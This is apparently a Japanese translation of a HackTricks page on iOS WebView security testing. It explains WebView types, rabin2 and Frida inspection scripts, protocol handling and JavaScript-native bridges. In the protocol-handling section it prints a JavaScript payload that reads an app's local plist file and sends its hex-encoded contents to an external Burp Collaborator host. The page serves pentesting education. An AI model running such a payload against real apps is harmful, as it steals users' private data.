iOS WebViews
Reading time: 18 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページのコードはこちらから抽出されました。詳細についてはページを確認してください。
WebViewsの種類
WebViewsは、アプリケーション内でインタラクティブにウェブコンテンツを表示するために利用されます。さまざまな種類のWebViewsは、iOSアプリケーションに異なる機能とセキュリティ機能を提供します。以下は簡単な概要です:
-
UIWebViewは、JavaScriptを無効にするサポートがないため、iOS 12以降は推奨されなくなりました。これにより、スクリプトインジェクションや**Cross-Site Scripting (XSS)**攻撃に対して脆弱です。
-
WKWebViewは、アプリにウェブコンテンツを組み込むための推奨オプションで、コンテンツとセキュリティ機能に対する制御が強化されています。JavaScriptはデフォルトで有効ですが、必要に応じて無効にすることができます。また、JavaScriptが自動的にウィンドウを開かないようにする機能をサポートし、すべてのコンテンツが安全に読み込まれることを保証します。さらに、WKWebViewのアーキテクチャは、メインアプリプロセスに影響を与えるメモリ破損のリスクを最小限に抑えます。
-
SFSafariViewControllerは、アプリ内で標準化されたウェブブラウジング体験を提供し、読み取り専用のアドレスフィールド、共有およびナビゲーションボタン、Safariでコンテンツを開くための直接リンクを含む特定のレイアウトで認識されます。WKWebViewとは異なり、SFSafariViewControllerではJavaScriptを無効にすることができず、Safariとクッキーやデータを共有し、アプリからユーザーのプライバシーを維持します。App Storeのガイドラインに従って、目立つように表示する必要があります。
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 設定探索の概要
静的分析の概要
WebViews 設定を調査する過程で、主に二つのタイプに焦点が当てられます: UIWebView と WKWebView。バイナリ内でこれらの WebViews を特定するために、特定のクラス参照と初期化メソッドを検索するコマンドが利用されます。
- UIWebView の特定
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
このコマンドは、バイナリ内の関連するテキスト文字列を検索することによって、UIWebViewのインスタンスを特定するのに役立ちます。
- WKWebViewの識別
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
同様に、WKWebViewについては、このコマンドがその使用を示すテキスト文字列をバイナリ内で検索します。
さらに、WKWebViewがどのように初期化されるかを見つけるために、次のコマンドが実行され、その初期化に関連するメソッドシグネチャをターゲットにします:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript設定の確認
WKWebViewでは、必要でない限りJavaScriptを無効にすることがベストプラクティスであると強調されています。コンパイルされたバイナリを検索して、javaScriptEnabled
プロパティがfalse
に設定されていることを確認し、JavaScriptが無効になっていることを保証します:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
安全なコンテンツのみの検証
WKWebView は、UIWebView と対照的に、混合コンテンツの問題を特定する機能を提供します。これは、すべてのページリソースが安全な接続を通じて読み込まれることを確認するために hasOnlySecureContent
プロパティを使用してチェックされます。コンパイルされたバイナリ内の検索は次のように行われます:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
動的分析の洞察
動的分析は、WebViewインスタンスとそのプロパティのためにヒープを検査することを含みます。この目的のために、webviews_inspector.js
というスクリプトが使用され、UIWebView
、WKWebView
、およびSFSafariViewController
インスタンスを対象としています。見つかったインスタンスに関する情報、URL、およびJavaScriptと安全なコンテンツに関連する設定がログに記録されます。
ヒープ検査は、ObjC.choose()
を使用してWebViewインスタンスを特定し、javaScriptEnabled
およびhasonlysecurecontent
プロパティを確認することで実施できます。
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
スクリプトは次のように実行されます:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
主要な成果:
- WebViewsのインスタンスが正常に特定され、検査されました。
- JavaScriptの有効化と安全なコンテンツ設定が確認されました。
この要約は、JavaScriptの有効化や混合コンテンツの検出などのセキュリティ機能に焦点を当て、静的および動的アプローチを通じてWebViewの構成を分析する際に関与する重要なステップとコマンドを要約しています。
WebViewプロトコル処理
WebViews内のコンテンツを処理することは重要な側面であり、特にhttp(s)://
、file://
、およびtel://
などのさまざまなプロトコルを扱う際に重要です。これらのプロトコルは、アプリ内でリモートおよびローカルコンテンツの両方を読み込むことを可能にします。ローカルコンテンツを読み込む際には、ユーザーがファイルの名前やパスに影響を与えたり、コンテンツ自体を編集したりできないように注意が必要であることが強調されています。
WebViewsは、コンテンツの読み込みに異なる方法を提供します。現在は非推奨のUIWebViewでは、loadHTMLString:baseURL:
やloadData:MIMEType:textEncodingName:baseURL:
のようなメソッドが使用されます。一方、WKWebViewは、ウェブコンテンツのためにloadHTMLString:baseURL:
、loadData:MIMEType:textEncodingName:baseURL:
、およびloadRequest:
を使用します。ローカルファイルを読み込むためには、通常pathForResource:ofType:
、URLForResource:withExtension:
、およびinit(contentsOf:encoding:)
のようなメソッドが利用されます。loadFileURL:allowingReadAccessToURL:
メソッドは、特定のURLまたはディレクトリをWebViewに読み込む能力が特に注目されており、ディレクトリが指定された場合には機密データが露出する可能性があります。
これらのメソッドをソースコードやコンパイルされたバイナリ内で見つけるためには、次のようなコマンドを使用できます:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
ファイルアクセスに関して、UIWebViewは普遍的に許可されていますが、WKWebViewはファイルURLからのアクセスを管理するためにallowFileAccessFromFileURLs
とallowUniversalAccessFromFileURLs
の設定を導入しており、両方ともデフォルトではfalseです。
セキュリティ設定のためにWKWebViewの構成を検査するためのFridaスクリプトの例が提供されています:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
最後に、ローカルファイルを抽出することを目的としたJavaScriptペイロードの例は、適切に構成されていないWebViewに関連する潜在的なセキュリティリスクを示しています。このペイロードは、ファイルの内容を16進数形式にエンコードしてからサーバーに送信し、WebViewの実装における厳格なセキュリティ対策の重要性を強調しています。
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
ネイティブメソッドがWebViewを通じて公開される
iOSにおけるWebViewネイティブインターフェースの理解
iOS 7以降、AppleはWebView内のJavaScriptとネイティブ SwiftまたはObjective-Cオブジェクト間の通信のためのAPIを提供しました。この統合は主に2つのメソッドを通じて実現されます:
- JSContext: SwiftまたはObjective-Cブロックが
JSContext
内の識別子にリンクされると、自動的にJavaScript関数が作成されます。これにより、JavaScriptとネイティブコード間のシームレスな統合と通信が可能になります。 - JSExportプロトコル:
JSExport
プロトコルを継承することで、ネイティブプロパティ、インスタンスメソッド、およびクラスメソッドをJavaScriptに公開できます。これは、JavaScript環境で行われた変更がネイティブ環境に反映され、その逆も同様であることを意味します。ただし、この方法で機密データが意図せず公開されないようにすることが重要です。
Objective-CでのJSContext
へのアクセス
Objective-Cでは、UIWebView
のJSContext
は次のコード行で取得できます:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView
との通信
WKWebView
では、JSContext
への直接アクセスは利用できません。代わりに、postMessage
関数を通じてメッセージの送信が利用され、JavaScriptとネイティブの通信が可能になります。これらのメッセージのハンドラーは以下のように設定され、JavaScriptがネイティブアプリケーションと安全に対話できるようになります:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
インタラクションとテスト
JavaScriptはスクリプトメッセージハンドラーを定義することでネイティブレイヤーとインタラクションできます。これにより、ウェブページからネイティブ関数を呼び出すなどの操作が可能になります:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
ネイティブ関数呼び出しの結果をキャプチャして操作するには、HTML内でコールバック関数をオーバーライドすることができます:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
ネイティブ側は、JavaScriptBridgeMessageHandler
クラスに示されているように、JavaScript呼び出しを処理します。ここでは、数値の乗算などの操作の結果が処理され、表示またはさらなる操作のためにJavaScriptに送信されます。
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViewsのデバッグ
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviews内のウェブコンテンツを効果的にデバッグするには、console.log()
に送信されたメッセージがXcodeのログに表示されないため、Safariの開発者ツールを使用した特定のセットアップが必要です。以下は、重要なステップと要件を強調した簡略ガイドです:
-
iOSデバイスの準備: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、設定 > Safari > 詳細に移動し、_Web Inspector_を有効にすることで行います。
-
macOSデバイスの準備: macOS開発マシンでSafari内の開発者ツールを有効にする必要があります。Safariを起動し、Safari > 環境設定 > 詳細にアクセスし、_Developメニューを表示_するオプションを選択します。
-
接続とデバッグ: iOSデバイスをmacOSコンピュータに接続し、アプリケーションを起動した後、macOSデバイスのSafariを使用してデバッグしたいwebviewを選択します。Safariのメニューバーで_Develop_に移動し、iOSデバイスの名前にカーソルを合わせてwebviewインスタンスのリストを表示し、検査したいインスタンスを選択します。この目的のために新しいSafari Web Inspectorウィンドウが開きます。
ただし、制限に注意してください:
- この方法でのデバッグにはmacOSデバイスが必要です。これはSafariに依存しています。
- Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリのwebviewは、この方法でデバッグできません。
参考文献
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。